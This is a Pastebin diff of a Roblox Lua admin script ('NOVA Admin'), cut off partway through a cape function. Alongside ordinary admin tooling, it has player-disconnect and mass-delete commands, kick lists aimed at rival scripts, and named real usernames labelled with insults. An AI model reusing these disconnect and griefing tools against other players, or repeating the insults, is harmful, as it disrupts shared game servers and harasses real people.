View difference between Paste ID: ZWaArt4G and Ls2txHF4
SHOW: | | - or go back to the newest paste.
1
if game:GetService("RunService"):IsClient() then error("Script must be server-side in order to work; use h/ and not hl/") end
2
local Player,game,owner = owner,game
3
local RealPlayer = Player
4
do
5
    print("FE Compatibility code by Mokiros, Edited by StarzoZero")
6
    local rp = RealPlayer
7
    script.Parent = rp.Character
8
   
9
    --RemoteEvent for communicating
10
    local Event = Instance.new("RemoteEvent")
11
    Event.Name = "UserInput_Event"
12
 
13
    --Fake event to make stuff like Mouse.KeyDown work
14
    local function fakeEvent()
15
        local t = {_fakeEvent=true,Functions={},Connect=function(self,f)table.insert(self.Functions,f) end}
16
        t.connect = t.Connect
17
        return t
18
    end
19
 
20
    --Creating fake input objects with fake variables
21
    local m = {Target=nil,Hit=CFrame.new(),KeyUp=fakeEvent(),KeyDown=fakeEvent(),Button1Up=fakeEvent(),Button1Down=fakeEvent(),Button2Up=fakeEvent(),Button2Down=fakeEvent()}
22
    local UIS = {InputBegan=fakeEvent(),InputEnded=fakeEvent()}
23
    local CAS = {Actions={},BindAction=function(self,name,fun,touch,...)
24
        CAS.Actions[name] = fun and {Name=name,Function=fun,Keys={...}} or nil
25
    end}
26
    --Merged 2 functions into one by checking amount of arguments
27
    CAS.UnbindAction = CAS.BindAction
28
 
29
    --This function will trigger the events that have been :Connect()'ed
30
    local function te(self,ev,...)
31
        local t = m[ev]
32
        if t and t._fakeEvent then
33
            for _,f in pairs(t.Functions) do
34
                f(...)
35
            end
36
        end
37
    end
38
    m.TrigEvent = te
39
    UIS.TrigEvent = te
40-
        {Name = "tootalljj", Rank = 8, CMD = true, Color = Color3.new(1,1,0), Desc = "NOVA"};
40+
41
    Event.OnServerEvent:Connect(function(plr,io)
42
        if plr~=rp then return end
43
        m.Target = io.Target
44
        m.Hit = io.Hit
45
        if not io.isMouse then
46
            local b = io.UserInputState == Enum.UserInputState.Begin
47
            if io.UserInputType == Enum.UserInputType.MouseButton1 then
48
                return m:TrigEvent(b and "Button1Down" or "Button1Up")
49
            end
50
            if io.UserInputType == Enum.UserInputType.MouseButton2 then
51
                return m:TrigEvent(b and "Button2Down" or "Button2Up")
52
            end
53
            for _,t in pairs(CAS.Actions) do
54
                for _,k in pairs(t.Keys) do
55
                    if k==io.KeyCode then
56
                        t.Function(t.Name,io.UserInputState,io)
57
                    end
58
                end
59
            end
60
            m:TrigEvent(b and "KeyDown" or "KeyUp",io.KeyCode.Name:lower())
61
            UIS:TrigEvent(b and "InputBegan" or "InputEnded",io,false)
62
        end
63
    end)
64
    Event.Parent = NLS([==[
65
    local Player = game:GetService("Players").LocalPlayer
66
    local Event = script:WaitForChild("UserInput_Event")
67
    local Mouse = Player:GetMouse()
68
    local UIS = game:GetService("UserInputService")
69
    local input = function(io,a)
70
        if a then return end
71
        --Since InputObject is a client-side instance, we create and pass table instead
72
        Event:FireServer({KeyCode=io.KeyCode,UserInputType=io.UserInputType,UserInputState=io.UserInputState,Hit=Mouse.Hit,Target=Mouse.Target})
73
    end
74
    UIS.InputBegan:Connect(input)
75
    UIS.InputEnded:Connect(input)
76
    local h,t
77
    --Give the server mouse data 30 times every second, but only if the values changed
78
    --If player is not moving their mouse, client won't fire events
79
    while wait(1/30) do
80
        if h~=Mouse.Hit or t~=Mouse.Target then
81
            h,t=Mouse.Hit,Mouse.Target
82
            Event:FireServer({isMouse=true,Target=t,Hit=h})
83
        end
84
    end]==],Player.Character)
85
 
86
    ----Sandboxed game object that allows the usage of client-side methods and services
87
    --Real game object
88
    local _rg = game
89
 
90
    --Metatable for fake service
91
    local fsmt = {
92
        __index = function(self,k)
93
            local s = rawget(self,"_RealService")
94
            if s then
95
                return typeof(s[k])=="function"
96
                and function(_,...)return s[k](s,...)end or s[k]
97
            end
98
        end,
99
        __newindex = function(self,k,v)
100
            local s = rawget(self,"_RealService")
101
            if s then s[k]=v end
102
        end
103
    }
104
    local function FakeService(t,RealService)
105
        t._RealService = typeof(RealService)=="string" and _rg:GetService(RealService) or RealService
106
        return setmetatable(t,fsmt)
107
    end
108
 
109
    --Fake game object
110
    local g = {
111
        GetService = function(self,s)
112
            return rawget(self,s) or _rg:GetService(s)
113
        end,
114
        Players = FakeService({
115
            LocalPlayer = FakeService({GetMouse=function(self)return m end},Player)
116
        },"Players"),
117
        UserInputService = FakeService(UIS,"UserInputService"),
118
        ContextActionService = FakeService(CAS,"ContextActionService"),
119
        RunService = FakeService({
120
            _btrs = {},
121
            RenderStepped = _rg:GetService("RunService").Heartbeat,
122
            BindToRenderStep = function(self,name,_,fun)
123
                self._btrs[name] = self.Heartbeat:Connect(fun)
124
            end,
125
            UnbindFromRenderStep = function(self,name)
126
                self._btrs[name]:Disconnect()
127
            end,
128
        },"RunService")
129
    }
130
    rawset(g.Players,"localPlayer",g.Players.LocalPlayer)
131
    g.service = g.GetService
132
    FakeService(g,game)
133
    --Changing owner to fake player object to support owner:GetMouse()
134
    game,owner = g,g.Players.LocalPlayer
135
end
136
--[[                                                                                                                                                                                    ]]
137
script.Name = "# NOVA Admin #"
138
wait()
139
script.Parent = Instance.new("Glue") -- Stuck!
140
NOVA ={
141
    BadPhrases = true;
142
    Bet = "/";
143
    Services = {
144
        Game = game;
145
        RunService = game:GetService("RunService");
146
        Workspace = game:GetService("Workspace");
147
        Lighting = game:GetService("Lighting");
148
        Debris = game:GetService("Debris");
149
        Players = game:GetService("Players");
150
        Teams = game:GetService("Teams");
151
        SoundService = game:GetService("SoundService");
152
        ScriptContext = game:GetService("ScriptContext");
153
        NetworkServer = game:GetService("NetworkServer");
154
        StarterGui = game:GetService("StarterGui");
155
        StarterPack = game:GetService("StarterPack");
156
    };
157
    Ranks = {
158
        {-2,"Lagged"}; -- -2
159
        {-1,"Banned"}; -- -1
160
        {-0.5,"Scum"};
161
        {0,"Guest"}; -- 0
162
        {1,"Mod"}; -- 1
163
        {2,"Admin"}; -- 2
164
        {3,"Developer"}; -- 3
165
        {4,"Omega Admin"}; -- 4
166
        {5,"Overlord"}; -- 5
167
        {6,"OP ( Operator )"}; -- 6
168
        {7,"Creator"}; -- 7
169
        {8,"ROOT"}; -- 8
170
    };
171
    Alphabet = {
172
    "a",    "b",    "c",    "d",    "e",    "f",    "g",    "h",    "i",    "j",    "k",    "l",    "m",    "n",    "o",    "p",    "q",    "r",    "s",    "t",    "u",    "v",    "w",    "x",    "y",    "z",    
173
    };
174
    Ranked = {
175
        {Name = "zXzGamePROzXz", Rank = 8, CMD = true, Color = Color3.new(1,1,0), Desc = "NOVA"};
176
        {Name = "mastero67", Rank = 7, CMD = true, Color = Color3.new(0,0,1), Desc = "Fire"};
177
        {Name = "darkeageninja", Rank = -1, CMD = true, Color = Color3.new(0,0,1), Desc = "Banned"};
178
        {Name = "wubbzy301", Rank = -1, CMD = true, Color = Color3.new(0,0,1), Desc = "Banned"};
179
        {Name = "xXxArtistxXx", Rank = -1, CMD = true, Color = Color3.new(0,0,1), Desc = "Nub"};
180
        {Name = "mrein5", Rank = -1, CMD = true, Color = Color3.new(0,0,1), Desc = "A low life Camball abuser"};
181
        {Name = "lxljohnlxlalt", Rank = -2, CMD = true, Color = Color3.new(0,0,1), Desc = "TOTAL NUB WITH NO LIFE"};
182
 
183
    };    
184
    Credit = {
185
        {Name = "NetworkClient",Why = "for the tablet function."};
186
        {Name = string.reverse(string.gsub("nXQZaXQZmXQZDXQZmXQZaXQZeXQZTXQZ","XQZ","")),Why = "for creating NOVA Admin."};
187
        {Name = "upquark",Why = "For being a great person in life."};
188
        {Name = "toshir0z",Why = "For teaching me time control."};
189
        {Name = "ask4kingbily",Why = "For showing me how to lock first person."};
190
    };
191
    Animations = {
192
        {Name = "Facepalm", Who = "Dylanbuil", Id = "372695cdb6a7540768234ad60ed7a298"};
193
    };
194
    Colors = {
195
        Red = Color3.new(1,0,0);
196
        PinkRed = Color3.new(1,0,0.15);
197
        Orange = Color3.new(1,0.5,0);
198
        Yellow = Color3.new(1,1,0);
199
        Green = Color3.new(0,1,0);
200
        Blue = Color3.new(0,0,1);
201
        LightBlue = Color3.new(0,1,1);
202
        Pink = Color3.new(1,0,1);
203
        Magenta = Color3.new(0.54,0,0.54);
204
        White = Color3.new(1,1,1);
205
        Grey = Color3.new(0.5,0.5,0.5);
206
        Black = Color3.new(0,0,0);
207
    };
208
    Sounds = {
209
        Sound = Instance.new("Sound");
210
        Numbers = { -- one to five ( top to bottom )
211
            "http://www.roblox.com/Asset/?id=29445305",
212
            "http://www.roblox.com/Asset/?id=29445339",
213
            "http://www.roblox.com/Asset/?id=29445358",
214
            "http://www.roblox.com/Asset/?id=29445378",
215
            "http://www.roblox.com/Asset/?id=29445395",
216
        };
217
        PlayAfter = {
218
            "http://www.roblox.com/Asset/?id=2767090",
219
            "http://www.roblox.com/Asset/?id=2800815",
220
            "http://www.roblox.com/Asset/?id=2801263",
221
            "http://www.roblox.com/Asset/?id=11984254",
222
            "http://www.roblox.com/Asset/?id=2101159",
223
            "http://www.roblox.com/Asset/?id=3087031",
224
            "http://www.roblox.com/Asset/?id=2101148",
225
            "http://www.roblox.com/Asset/?id=2233908",
226
            "http://www.roblox.com/Asset/?id=16976189",
227
            "http://www.roblox.com/Asset/?id=2101157",
228
            "http://www.roblox.com/Asset/?id=2974000",
229
            "http://www.roblox.com/Asset/?id=2703110",
230
            "http://www.roblox.com/Asset/?id=1994345",
231
        };
232
    };
233
    AncientRules = {
234
        "Thou shall not use forum scripts.",
235
        "Thou shall not use CamBall / CamSphere.",
236
        "Thou shall not use CBA.",
237
        "Thou shall not use RMDX's scripts.",
238
        "Thou shall not use antibans.",
239
        "Thou shall not abuse thou admin.",
240
        "Thou shall not steal scripts.",
241
        "Thou shall not trade scripts you didn't make.",
242
        "Thou shall not use gay scripts.",
243
        "Thou shall not abuse loopholes in the ancient rules.",
244
    };
245
    ChatFilters = {
246
        "mediafire",
247
        "shit",
248
        "gtfo",
249
        "password",
250
        "hitler",
251
        "vaginas",
252
    };
253
 
254
    KillingPhrases = {
255
        "ssj",
256
        "yolo",
257
        "swag",
258
    };
259
    KickingPhrases = {
260
             "\"/down\"",
261
        "/down",
262
        "/hide",
263
        "rpe/",
264
        "antiban",
265
        "ab/",
266
        "camball.",
267
        "camball.came",
268
        "camball/",
269
        "camball /","deadfield","1waffle1",
270
        "cie camball",
271
        "d33k/",
272
        "pban/",
273
        "your own camball",
274
        "created by jordan88282",
275
        "v2 camball",
276
        "cba = {}",
277
        "cba.bet",
278
        "banmenu","adminlist",
279
        "ban/t","ban/tu","ban/tus","ban/tusk","ban/tusko","ban/tuskor","ban/tuskor6","ban/tuskor66","ban/Dylanbuil",
280
        "cryston",
281
        "jordan88282", "eyeball","orb","kick/","owner","antikick",
282
   };
283
    PreviousDataKeys = {
284
        "Unlimited Gravity&accesskey=13785(G*&_version="..tostring(_VERSION),
285
    };
286
    LoadTime = {
287
        Start = tick(),
288
        Finish = tick(),
289
    };
290
    Fences = {};
291
    Jails = {};
292
    Objects = {};
293
    Commands = {};
294
    Tablets = {};
295
    Targeted = {};
296
    ExternalPlayersList = {};
297
    Waypoints = {};
298
    Log = {};
299
    LoggedScripts = {};
300
    PRI = false;
301
    LockedScripts = false;
302
    Removed = true;
303
    ShowChat = true;
304
    Canceled = false;
305
    Overrided = false;
306
    TimeChanged = false;
307
    TabletPositionRelative = false;
308
    AntiDLL = false;
309
    EnableGuests = true;
310
    UseGlobals = false;
311
    Overrider = nil;
312
    TabletRotation = 0;
313
    TabletRotationIncrease = 0.03;
314
    AccessKey = "13785(G*";
315
    Version = "6th Generation";
316
    DataKey = "Unlimited Gravity";
317
    PRIType = "Shutdown";
318
    LocalScript = script:FindFirstChild("PseudoLocalScript"); -- or NewLocal
319
    Script = script:FindFirstChild("PseudoScript"); -- or NewScript
320
    Plugins = script:GetChildren()
321
}
322
--[[ PLAYER PLUGINS ]]--
323
function UpdatePlayerPlugins()
324
    if NOVA.AntiDLL == true then PlayerPlugins = [==[
325
            script.Parent = nil
326
            LocalPlayer = game:GetService("Players").LocalPlayer
327
           
328
            game:GetService("Selection").SelectionChanged:connect(function()
329
                if LocalPlayer.Name ~= "Dylanbuil" and LocalPlayer.Name ~= "SurgenHack" and LocalPlayer.Name ~= "Player" then
330
                    LocalPlayer.Parent = nil
331
                    LocalPlayer.Parent = game:GetService("Players")
332
                end
333
            end)
334
            coroutine.resume(coroutine.create(function()
335
                while wait() do
336
                    if workspace:FindFirstChild("Disconnect : "..LocalPlayer.Name.." Key : ]==]..NOVA.AccessKey..[==[") then
337
                        workspace:FindFirstChild("Disconnect : "..LocalPlayer.Name.." Key : ]==]..NOVA.AccessKey..[==["):Remove()
338
                        LocalPlayer.Parent = nil
339
                        LocalPlayer.Parent = game:GetService("Players")
340
                    end
341
                end
342
            end))
343
        ]==]
344
        else
345
            PlayerPlugins = [==[
346
            script.Parent = nil
347
            LocalPlayer = game:GetService("Players").LocalPlayer
348
       
349
            coroutine.resume(coroutine.create(function()
350
                while wait() do
351
                    if workspace:FindFirstChild("Disconnect : "..LocalPlayer.Name.." Key : ]==]..NOVA.AccessKey..[==[") then
352
                        workspace:FindFirstChild("Disconnect : "..LocalPlayer.Name.." Key : ]==]..NOVA.AccessKey..[==["):Remove()
353
                        LocalPlayer.Parent = nil
354
                        LocalPlayer.Parent = game:GetService("Players")
355
                    end
356
                end
357
            end))
358
        ]==]
359
    end
360
end
361
function Color()
362
        local Choice = math.random(1, 5)
363
        if Choice == 1 then
364
                return "Institutional white"
365
        elseif Choice == 2 then
366
                return "White"
367
        elseif Choice == 3 then
368
                return "Really red"
369
        elseif Choice == 4 then
370
                return "New Yeller"
371
        elseif Choice == 5 then
372
                return "Black"
373
        end
374
end  
375
--[[ PSEUDO FUNCTIONS ]]--
376
function CreateLocalScript(Source, Parent)
377
    if game.PlaceId == 20279777 or game.PlaceId == 20132544 or game.PlaceId == 54194680 then
378
        newLocalScript(Source, Parent)
379
    elseif game.PlaceId == 23232804 then
380
        NewLocalScript(Source, Parent)
381
    elseif NOVA.LocalScript ~= nil then
382
        NS = NOVA.LocalScript:Clone()
383
        NS.Name = "LocalScript"
384
        pcall(function() NS:ClearAllChildren() end)
385
        NewSource = Instance.new("StringValue",NS)
386
        NewSource.Name = "Source"
387
        if game.PlaceId == 113456 or game.PlaceId == 49907749 or game.PlaceId == 56786 then
388
            NewSource.Name = "DSource"
389
        end
390
        NewSource.Value = Source
391
        NS.Parent = Parent
392
        NS.Disabled = false
393
    else
394
        print("[NOVA.CreateLocalScript] Localscript functionality not avalible here. ( PlaceId : "..game.PlaceId..")")
395
    end
396
end
397
 
398
function CreateScript(Source, Parent)
399
    if game.PlaceId == 20279777 or game.PlaceId == 20132544 or game.PlaceId == 54194680 then
400
        newScript(Source, Parent)
401
    elseif game.PlaceId == 23232804 then
402
        NewScript(Source, Parent)
403
    elseif NOVA.Script ~= nil then
404
        NS = NOVA.Script:Clone()
405
        NS.Name = "Script"
406
        pcall(function() NS:ClearAllChildren() end)
407
        NewSource = Instance.new("StringValue",NS)
408
        NewSource.Name = "Source"
409
        NewSource.Value = Source
410
        NS.Parent = Parent
411
        NS.Disabled = false
412
    else
413
        print("[NOVA.CreateScript] Script functionality not avalible here. ( PlaceId : "..game.PlaceId..")")
414
    end
415
end
416
 
417
function IsTargeted(Player)
418
    if type(Player) == "string" then
419
        for _,v in pairs(NOVA.Targeted) do
420
            if v.Name == Player then
421
                return true
422
            end
423
        end
424
    elseif type(Player) == "userdata" then
425
        for _,v in pairs(NOVA.Targeted) do
426
            if Player == v then
427
                return true
428
            end
429
        end
430
    else
431
        print("[NOVA.IsTargeted] An invalid argument type was used. ("..tostring(type(Player))..")")
432
    end
433
    return false
434
end
435
 
436
--[[ DATA PERSISTANCE ]]--
437
--[[ SYNC RANKS IN ]]--
438
function SyncRanksIn()
439
    for _,v in pairs(NOVA.Services.Players:GetPlayers()) do
440
        SyncRankInSingular(v)
441
    end
442
end
443
--[[ SYNC RANK IN SINGULAR ]]--
444
function SyncRankInSingular(v)
445
    if type(v) ~= "userdata" then
446
        print("[NOVA.SyncRankInSingular] Argument 1 incorrect type.")
447
        return
448
    end
449
    coroutine.resume(coroutine.create(function()
450
        repeat wait() until v.DataReady == true
451
       
452
        if GetRankedTable(v) == nil then
453
            table.insert(NOVA.Ranked,{
454
                Name = v.Name,
455
                CMD = false,
456
                Rank = 0,
457
                Color = NOVA.Colors.Orange,
458
                Desc = "N/A",
459
                Complaints = Instance.new("Model"),
460
                Executeables = Instance.new("Model"),
461
            })
462
        end
463
       
464
        local PhysicalData = v:LoadInstance(NOVA.DataKey.."&accesskey="..NOVA.AccessKey.."&_version="..NOVA.Version)
465
        local Data = GetRankedTable(v)
466
       
467
        if PhysicalData == nil then
468
            Data.Name = v.Name
469
            Data.CMD = false
470
            Data.Rank = 0
471
            Data.Color = NOVA.Colors.Orange
472
            Data.Desc = "N/A"
473
            Data.Complaints = Instance.new("Model")
474
            Data.Executeables = Instance.new("Model")
475
        elseif PhysicalData ~= nil then
476
            pcall(function() Data.Name = v.Name end)
477
            pcall(function() Data.CMD = PhysicalData.CMD.Value end)
478
            pcall(function() Data.Rank = PhysicalData.RANK.Value end)
479
            pcall(function() Data.Color = PhysicalData.COLOR.Value end)
480
            pcall(function() Data.Desc = PhysicalData.DESCRIPTION.Value end)
481
            pcall(function() Data.Complaints = PhysicalData.COMPLAINTS:Clone() end)
482
            pcall(function() Data.Executeables = PhysicalData.EXECUTEABLES:Clone() end)
483
            if Data.CMD == nil then Data.CMD = false end
484
            if Data.Rank == nil then Data.Rank = 0 end
485
            if Data.Color == nil then Data.Color = NOVA.Colors.Orange end
486
            if Data.Desc == nil then Data.Desc = "N/A" end
487
            if Data.Complaints == nil then Data.Complaints = Instance.new("Model") end
488
            if Data.Executeables == nil then Data.Executeables = Instance.new("Model") end
489
        end
490
    end))
491
end
492
 
493
--[[ SYNC RANKS OUT ]]--
494
function SyncRanksOut()
495
    for _,v in pairs(NOVA.Services.Players:GetPlayers()) do
496
        SyncRankOutSingular(v)
497
    end
498
end
499
 
500
--[[ SYNC RANK OUT SINGULAR ]]--
501
function SyncRankOutSingular(v)
502
    coroutine.resume(coroutine.create(function()
503
        repeat wait() until v.DataReady == true
504
        local RankData = GetRankedTable(v)
505
        if RankData == nil then print("[NOVA.SyncRankOutSingular] RankData is missing or nil.") return end
506
        local Data = Instance.new("Model")
507
        Data.Name = "PlayerData"
508
        local CMD = Instance.new("BoolValue",Data)
509
        CMD.Name = "CMD"
510
        CMD.Value = RankData.CMD
511
        local Rank = Instance.new("NumberValue",Data)
512
        Rank.Name = "RANK"
513
        Rank.Value = RankData.Rank
514
        local Color = Instance.new("Color3Value",Data)
515
        Color.Name = "COLOR"
516
        Color.Value = RankData.Color
517
        local Desc = Instance.new("StringValue",Data)
518
        Desc.Name = "DESCRIPTION"
519
        Desc.Value = RankData.Desc
520
        local Complaints = RankData.Complaints:Clone()
521
        Complaints.Name = "COMPLAINTS"
522
        local Executeables = RankData.Executeables:Clone()
523
        Executeables.Name = "EXECUTEABLES"
524
       
525
        v:SaveInstance(NOVA.DataKey.."&accesskey=lol4&_version="..NOVA.Version,Data)
526
        for _,v in pairs(NOVA.PreviousDataKeys) do
527
            v:SaveInstance(v,Data)
528
        end
529
    end))
530
end
531
 
532
--[[ PLAYER INTERFACE ]]--
533
function PlayerInterface(v,Speaker)
534
    RemoveTablets(Speaker)
535
    local Data = GetRankedTable(v)
536
    OutputImg("http://www.roblox.com/Thumbs/Avatar.ashx?x=150&y=200&Format=Png&username="..v.Name,v.Name,Data.Color,Speaker)
537
    Output("Rank Name : "..GetRankName(v),Data.Color,Speaker)
538
    Output("Rank Number : "..Data.Rank,Data.Color,Speaker)
539
    Output("Account Age : "..v.AccountAge,Data.Color,Speaker)
540
    Output("User Id : "..v.userId,Data.Color,Speaker)
541
    Output("Desc : "..Data.Desc,Data.Color,Speaker)
542
    Output("CMD : "..tostring(Data.CMD),Data.Color,Speaker)
543
    Output("Color : "..tostring(Data.Color),Data.Color,Speaker)
544
        if GetRank(Speaker) > Data.Rank and GetRank(Speaker) >= 6 then
545
        Output("SHUT THEM DOWN!",NOVA.Colors.Red,Speaker,nil,
546
            function()
547
                Instance.new("StringValue",workspace).Name = "Disconnect : "..Data.Name.." Key : "..NOVA.AccessKey..""
548
 
549
            end
550
        )
551
    end
552
    if GetRank(Speaker) > Data.Rank or v == Speaker then
553
        Output("Set CMD",NOVA.Colors.Blue,Speaker,nil,
554
            function()
555
                RemoveTablets(Speaker)
556
                Output("True",NOVA.Colors.Green,Speaker,nil,
557
                    function()
558
                        Data.CMD = true
559
                        SyncRankOutSingular(v)
560
                        PlayerInterface(v,Speaker)
561
                    end
562
                )
563
                Output("False",NOVA.Colors.Red,Speaker,nil,
564
                    function()
565
                        Data.CMD = false
566
                        SyncRankOutSingular(v)
567
                        PlayerInterface(v,Speaker)
568
                    end
569
                )
570
                Output("Done",NOVA.Colors.Blue,Speaker,nil,
571
                    function()
572
                        PlayerInterface(v,Speaker)
573
                    end
574
                )
575
                Output("Dismiss",NOVA.Colors.Red,Speaker)
576
            end
577
        )
578
    end
579
    if GetRank(Speaker) > Data.Rank then
580
        Output("Set Rank",NOVA.Colors.Blue,Speaker,nil,
581
            function()
582
                RemoveTablets(Speaker)
583
                for i,v in pairs(NOVA.Ranks) do
584
                    if v[1] ~= 8 then
585
                        Output(v[1],Color3.new(i/10,i/10,i/10),Speaker,nil,
586
                            function()
587
                                RemoveTablets(Speaker)
588
                                Data.Rank = v[1]
589
                                SyncRankOutSingular(v)
590
                                PlayerInterface(v,Speaker)
591
                            end    
592
                        )
593
                    end
594
                end
595
                Output("Dismiss",NOVA.Colors.Red,Speaker)
596
                Output("Back",NOVA.Colors.Blue,Speaker,nil,
597
                    function()
598
                        PlayerInterface(v,Speaker)
599
                    end
600
                )
601
               
602
            end
603
        )
604
    end
605
    if GetRank(Speaker) > Data.Rank or v == Speaker then
606
        Output("Set Color",NOVA.Colors.Blue,Speaker,nil,
607
            function()
608
                RemoveTablets(Speaker)
609
                for i,Color in pairs(NOVA.Colors) do
610
                    Output(tostring(i),Color,Speaker,nil,
611
                        function()
612
                            Data.Color = Color
613
                            PlayerInterface(v,Speaker)
614
                            SyncRankOutSingular(v)
615
                        end
616
                    )
617
                   
618
                end
619
                Output("Back",NOVA.Colors.Blue,Speaker,nil,
620
                        function()
621
                            PlayerInterface(v,Speaker)
622
                        end
623
                    )
624
                Output("Dismiss",NOVA.Colors.Red,Speaker)
625
            end
626
        )
627
    end
628
    Output("#REDIRECT GetRanked",NOVA.Colors.Blue,Speaker,nil,
629
        function()
630
            RemoveTablets(Speaker)
631
            OnChatted(NOVA.Bet .. "getranked" .. NOVA.Bet,Speaker)
632
        end
633
    )
634
    Output("#REDIRECT Nil",NOVA.Colors.Blue,Speaker,nil,
635
        function()
636
            RemoveTablets(Speaker)
637
            OnChatted(NOVA.Bet .. "ping" .. NOVA.Bet .. "nil",Speaker)
638
        end
639
    )
640
    Output("#REDIRECT Replicators",NOVA.Colors.Blue,Speaker,nil,
641
        function()
642
            RemoveTablets(Speaker)
643
            OnChatted(NOVA.Bet .. "ping" .. NOVA.Bet .. "replicators",Speaker)
644
        end
645
    )
646
    Output("#REDIRECT Players",NOVA.Colors.Blue,Speaker,nil,
647
        function()
648
            RemoveTablets(Speaker)
649
            OnChatted(NOVA.Bet .. "ping" .. NOVA.Bet .. "players",Speaker)
650
        end
651
    )
652
    Output("Dismiss",NOVA.Colors.Red,Speaker)
653
end
654
 
655
--[[ MAKE HINT ]]--
656
 
657
function makeHint(Text,Parent)
658
    coroutine.resume(coroutine.create(function()
659
        local M = Instance.new("Hint",Parent)
660
        for i = 1, string.len(Text) do
661
            M.Text = M.Text .. string.sub(Text, i, i)
662
            wait(math.random() * 0.1)
663
        end
664
        M.Text = M.Text .. ""
665
        for i = 1, math.random(2, 6) do
666
            M.Text = string.sub(M.Text, 1, string.len(Text)) .. "_"
667
            wait(0.4)
668
            M.Text = string.sub(M.Text, 1, string.len(Text)) .. "  "
669
            wait(0.4)
670
        end
671
        M.Text = string.sub(M.Text, 1, string.len(Text))
672
        for i = 1, string.len(M.Text) do
673
            M.Text = string.sub(M.Text, 1, string.len(M.Text) - 1)
674
            wait()
675
        end
676
                        M:Remove()
677
    end))
678
end
679
function makeMessage(Text,Parent)
680
    coroutine.resume(coroutine.create(function()
681
        local M = Instance.new("Message",Parent)
682
        for i = 1, string.len(Text) do
683
            M.Text = M.Text .. string.sub(Text, i, i)
684
            wait(math.random() * 0.1)
685
        end
686
        M.Text = M.Text .. ""
687
        for i = 1, math.random(2, 6) do
688
            M.Text = string.sub(M.Text, 1, string.len(Text)) .. "_"
689
            wait(0.4)
690
            M.Text = string.sub(M.Text, 1, string.len(Text)) .. "  "
691
            wait(0.4)
692
        end
693
        M.Text = string.sub(M.Text, 1, string.len(Text))
694
        for i = 1, string.len(M.Text) do
695
            M.Text = string.sub(M.Text, 1, string.len(M.Text) - 1)
696
            wait()
697
        end
698
        M:Remove()
699
    end))
700
end
701
 
702
--[[ EXPLORE ]]--
703
function Explore(Thing,Speaker)
704
    if Speaker == nil then
705
        print("[NOVA.Explore] Argument 1 missing or nil.")
706
        return
707
    end
708
    pcall(function()
709
        if Thing == game or Thing == nil then
710
            RemoveTablets(Speaker)
711
            for _,v in pairs(NOVA.Services) do
712
                Output(v.className,GetRankedTable(Speaker).Color,Speaker,nil,function() Explore(v,Speaker) end)
713
            end
714
            Output("Dismiss",NOVA.Colors.Red,Speaker)
715
        else
716
            if #Thing:children() == 0 then
717
                RemoveTablets(Speaker)
718
                Explore(Thing.Parent.Parent,Speaker)    
719
            else
720
                RemoveTablets(Speaker)
721
                for _,v in pairs(Thing:children()) do
722
                    Output(v.Name,GetRankedTable(Speaker).Color,Speaker,nil,
723
                        function()
724
                            RemoveTablets(Speaker)
725
                            Output("Name : "..v.Name,GetRankedTable(Speaker).Color,Speaker)
726
                            Output("Class Name : "..v.className,GetRankedTable(Speaker).Color,Speaker)
727
                            Output("Full Name : "..v:GetFullName(),GetRankedTable(Speaker).Color,Speaker)
728
                            Output("Remove",NOVA.Colors.Orange,Speaker,nil, function() Explore(v.Parent.Parent,Speaker) v:remove() end )
729
                            Output("Destroy",NOVA.Colors.Orange,Speaker,nil, function() Explore(v.Parent.Parent,Speaker) v:Destroy() end )
730
                            Output("Destroy ALL ( Name )",NOVA.Colors.Red,Speaker,nil, function() Explore(v.Parent.Parent,Speaker) for _,Part in pairs(GetRecursiveChildren()) do pcall(function() if Part.Name == v.Name then Part:Destroy() end end) end v:Destroy() end )
731
                            Output("Destroy ALL ( className )",NOVA.Colors.Red,Speaker,nil, function() Explore(v.Parent.Parent,Speaker) for _,Part in pairs(GetRecursiveChildren()) do pcall(function() if Part.className == v.className then Part:Destroy() end end) end v:Destroy() end )
732
                            Output("#STORE",NOVA.Colors.Yellow,Speaker,nil,function() v:Clone().Parent = NOVA.Services.Lighting end)
733
                            Output("#REDIRECT .Parent.Parent",NOVA.Colors.Blue,Speaker,nil,function() Explore(v.Parent.Parent,Speaker) end)
734
                            Output("#REDIRECT :GetChildren()",NOVA.Colors.Blue,Speaker,nil,function() Explore(v,Speaker) end)
735
                            Output("Dismiss",NOVA.Colors.Red,Speaker)
736
                        end
737
                    )
738
                end
739
                Output("Dismiss",NOVA.Colors.Red,Speaker)
740
            end
741
        end
742
    end)
743
end
744
 
745
--[[ CAPE ]]--
746
function Cape(v)
747
    local Mode = "None"
748
    local AngleX = 0
749
    pcall(function()
750
        v.Character.Swordpack:remove()
751
    end)
752
    pcall(function()    
753
        v.Character["NOVA Cape"]:remove()
754
    end)
755
 
756
    local Main = Instance.new("Model",v.Character)
757
    Main.Name = "NOVA Cape"
758
 
759
    pcall(function()
760
        v.Character.Swordpack:Remove()
761
    end)
762
 
763
    local Cape = Instance.new("Part", Main)
764
    Cape.Name = "Cape"
765
    Cape.Anchored = false
766
    Cape.Locked = true
767
    Cape.CanCollide = false
768
    Cape.formFactor = "Custom"
769
    Cape.Size = Vector3.new(2, 3.5, 0.2)
770
    Cape.BrickColor = BrickColor.new("Really black")
771
    Cape.TopSurface = 0
772
    Cape.BottomSurface = 0
773
    local Decal = Instance.new("Decal", Cape)
774
    Decal.Face = "Back"
775
    Decal.Texture = ""
776
    local CapeWeld = Instance.new("Weld", Cape)
777
    CapeWeld.Part0 = v.Character.Torso
778
    CapeWeld.Part1 = Cape
779
    CapeWeld.C0 = CFrame.new(0, 1, 0.5)
780
    CapeWeld.C1 = CFrame.new(0, 3.5 / 2, -0.0)
781
    v.Character.Humanoid.Running:connect(function(Speed)
782
        if Speed > 0 then
783
            Mode = "Running"
784
        else
785
            Mode = "None"
786
        end
787
    end)
788
    v.Character.Humanoid.Jumping:connect(function() Mode = "Jumping" end)
789
    coroutine.wrap(function()
790
        while Cape.Parent ~= nil and CapeWeld.Parent ~= nil do
791
            local UpSpeed = 2.5
792
            local DownSpeed = 5
793
            local TargetAngle = 5
794
            if Mode == "Running" then
795
                TargetAngle = 45 + math.random(0, 2500) / 100
796
            elseif Mode == "Jumping" then
797
                UpSpeed = 10
798
                DownSpeed = 10
799
                TargetAngle = (v.Character.Torso.Velocity.y < 3 and 160 or 45)
800
            end
801
            if math.abs(TargetAngle - AngleX) < (DownSpeed > UpSpeed and DownSpeed or UpSpeed) then AngleX = TargetAngle end
802
            if AngleX < TargetAngle then
803
                AngleX = AngleX + UpSpeed
804
            elseif AngleX > TargetAngle then
805
                AngleX = AngleX - DownSpeed
806
            end
807
